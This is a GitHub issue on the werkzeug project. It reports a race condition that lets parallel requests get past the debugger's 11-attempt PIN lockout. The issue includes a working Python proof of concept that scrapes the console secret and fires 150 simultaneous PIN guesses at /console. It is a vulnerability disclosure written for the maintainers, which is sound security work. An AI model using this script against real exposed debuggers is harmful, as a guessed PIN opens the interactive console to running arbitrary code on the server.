pallets / werkzeug

The comprehensive WSGI web application library.
https://werkzeug.palletsprojects.com
BSD 3-Clause "New" or "Revised" License
6.65k stars 1.73k forks source link

Race condition in debugger PIN authentication #2916

Closed unknown-1-0 closed 2 months ago

unknown-1-0 commented 4 months ago

There is a race condition in debugger PIN authentication, specifically in DebuggedApplication.pin_auth() that allows to try more than 11 PINs. This happens because DebuggedApplication.pin_auth() does not properly handle parallel PIN authentication requests.

Reproduction steps

The app code:

import flask

app = flask.Flask(__name__)
app.debug = True
app.run()

Program that reproduces the bug (assuming the app above is running on localhost:5000):

from threading import Thread
from requests import get

threads_up = 0
threads_to_start = 150
host = 'http://localhost:5000'

response = get(f"{host}/console")
secret = response.text.split('SECRET = "')[1]
secret = secret.split('"')[0]
print("Secret:", secret)

wait = True
not_exhausted = 0
def send_code(pin):
    # wait for other threads to start for sending all of threads' requests at the same time
    global wait
    while wait:
        pass

    global host, secret
    response = get(f"{host}/console?__debugger__=yes&cmd=pinauth&s={secret}&pin={pin:09d}")

    cookies = ""
    for cookie in response.cookies.items():
        cookies += "=".join(cookie) + "; "

    if len(cookies) == 0:
        cookies = "None"

    print(f"PIN: {pin:09d} | Response: {response.text}\t| Cookies: {cookies}")

    global not_exhausted
    try:
        if not response.json()['exhausted']:
            not_exhausted += 1
    except:
        pass

    global threads_up
    threads_up -= 1

print(f"Starting {threads_to_start} threads...")
for i in range(0, threads_to_start):
    print(f"Starting thread {i+1} of {threads_to_start}...", end='\r')
    try:
        Thread(target=send_code, args=(i,), daemon=True).start()
        threads_up += 1
    except Exception as e:
        print(f"Failed to start thread {i+1}: {e}")

# Make all threads send their request
print(f"Threads started: {threads_up} out of {threads_to_start}. Sending requests...")
wait = False

while threads_up > 0:
    pass

print("Total requests not exhausted:", not_exhausted)

Expected behavior

If parallel PIN authentications were handled properly, the program above would show that only 11 requests didn't receive "exhausted":true, but because they are not handled properly, the program above shows 150 instead (or any other value you set in threads_to_start var)

Environment: